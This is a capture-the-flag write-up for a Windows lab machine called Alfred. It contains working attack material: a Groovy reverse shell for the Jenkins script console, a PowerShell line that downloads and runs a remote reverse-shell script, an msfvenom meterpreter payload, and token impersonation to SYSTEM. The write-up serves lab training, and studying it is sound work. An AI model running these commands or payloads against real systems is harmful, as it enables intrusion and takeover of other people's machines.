Alfred - Writeup
Alfred
Reconnaissance
IP: 10.10.145.120 / restart 10.10.49.243
NMAP
nmap -T4 -A -p- 10.10.145.120
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-12 10:41 EDT
Nmap scan report for 10.10.145.120
Host is up (0.048s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=alfred
| Not valid before: 2025-03-11T14:37:48
|_Not valid after: 2025-09-10T14:37:48
| rdp-ntlm-info:
| Target_Name: ALFRED
| NetBIOS_Domain_Name: ALFRED
| NetBIOS_Computer_Name: ALFRED
| DNS_Domain_Name: alfred
| DNS_Computer_Name: alfred
| Product_Version: 6.1.7601
|_ System_Time: 2025-03-12T14:44:15+00:00
|_ssl-date: 2025-03-12T14:44:20+00:00; -38s from scanner time.
8080/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2008|7|8.1 (87%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1:r1
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (87%), Microsoft Windows Server 2008 (86%), Microsoft Windows Server 2008 R2 or Windows 8 (86%), Microsoft Windows 7 SP1 (86%), Microsoft Windows 8.1 R1 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -38s, deviation: 0s, median: -38s
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 59.42 ms 10.8.0.1
2 43.55 ms 10.10.145.120
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.18 seconds
Website
Site
http://10.10.145.120
http://10.10.145.120:8080/
admin:admin
need to restart machine (new IP 10.10.49.243)
Gaining access
as i know jenkins a little bit, we must navigate to manage jenkins/ script console https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 jenkins using Groovy language
String host="10.8.70.152";
int port=1337;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Optional
build history / project / configure
http://10.10.145.120:8080/job/project/configure
and use https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
powershell iex (New-Object Net.WebClient).DownloadString('http://10.8.70.152:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.8.70.152 -Port 1337
Privilege Escalation
systeminfo
Host Name: ALFRED
OS Name: Microsoft Windows 7 Ultimate
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: bruce
Registered Organization:
Product ID: 00426-OEM-9154295-64842
Original Install Date: 10/25/2019, 9:51:08 PM
System Boot Time: 3/12/2025, 2:55:36 PM
System Manufacturer: Xen
System Model: HVM domU
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2300 Mhz
BIOS Version: Xen 4.11.amazon, 8/24/2006
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 2,048 MB
Available Physical Memory: 1,242 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,187 MB
Virtual Memory: In Use: 908 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 1 Hotfix(s) Installed.
[01]: KB976902
Network Card(s): 1 NIC(s) Installed.
[01]: AWS PV Network Device
Connection Name: Local Area Connection 2
DHCP Enabled: Yes
DHCP Server: 10.10.0.1
IP address(es)
[01]: 10.10.49.243
[02]: fe80::5c8b:7d1b:1e0:2dd2
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.8.70.152 LPORT=4444 -f exe -o shell.exe
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.8.70.152:80/shell.exe','shell.exe')"
powershell.exe Start-Process "shell.exe"
load incognito
getprivs
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
shell
ps
migrate 2688
C:\Windows\System32\config\root.txt